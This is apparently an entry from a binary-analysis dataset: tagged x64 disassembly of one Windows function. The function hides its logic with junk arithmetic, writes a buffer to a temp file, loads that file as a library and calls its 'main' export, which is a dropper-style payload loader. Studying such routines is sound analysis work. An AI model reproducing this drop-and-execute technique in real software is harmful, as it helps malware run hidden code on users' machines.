Function at 0x14005d040
Capabilities:
Get common file path
Terminate process
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x1c8]
sub rsp, 0x2c8
mov qword [rbp + 0x208], 0x50e105
mov rax, qword [rbp + 0x208]
xor rax, 0xf
mov qword [rsp + 0x58], rax
mov qword [rbp + 0x210], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x208], reloc.WLDAP32.dll_Ordinal_50
xor r15d, r15d
mov qword [rbp + 0x218], r15
mov rcx, qword [rbp + 0x208]
mov rax, qword [rbp + 0x210]
inc rax
add rcx, rax
mov qword [rbp + 0x210], rcx
mov rax, qword [rbp + 0x218]
mov rcx, qword [rsp + 0x58]
sub rcx, rax
mov qword [rbp + 0x208], rcx
mov rax, qword [rbp + 0x208]
mov rcx, qword [rbp + 0x210]
cqo
idiv rcx
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x208]
lea rcx, [0x1402090c0]
call fcn.140076430
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
mov edi, r15d
mov qword [rsp + 0x50], r15
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 6
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov eax, dword [str.028358]
mov dword [rsp + 0x60], eax
movzx eax, word [0x1400e3a1c]
mov word [rsp + 0x64], ax
mov byte [rsp + 0x66], r15b
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x80]
lea rcx, [0x1402090c0]
call fcn.1400783f0
lea rcx, [rsp + 0x40]
cmp rcx, rax
je 0x14005d17a
mov rbx, qword [rax]
mov qword [rsp + 0x40], rbx
mov rsi, qword [rax + 8]
mov qword [rsp + 0x48], rsi
mov rdi, qword [rax + 0x10]
mov qword [rsp + 0x50], rdi
mov qword [rax], r15
mov qword [rax + 8], r15
mov qword [rax + 0x10], r15
jmp 0x14005d184
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x14005d1c1
mov rdx, qword [rbp - 0x70]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d1bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005d1bc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d0a94
lea rdx, [rbp + 0xb0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x14005d318
lea r9, [rbp - 0x60]
xor r8d, r8d
lea rdx, str.temp
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x14005d318
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x14005d318
sub rsi, rbx
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x200]
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14005d2f8
mov eax, dword [rbp + 0x200]
cmp rax, rsi
jne 0x14005d2f8
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14005d318
lea rdx, str.main
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14005d2a2
mov ecx, Ordinal_46
call rax
mov ecx, 0x50e1c5
call fcn.14005e370
nop
test rbx, rbx
je 0x14005d2e8
sub rdi, rbx
mov rax, rbx
cmp rdi, 0x1000
jb 0x14005d2dd
add rdi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005d2dd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rdi
mov rcx, rbx
call fcn.1400d0a94
add rsp, 0x2c8
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, reloc.WS2_32.dll_socket
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, reloc.WS2_32.dll_socket
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3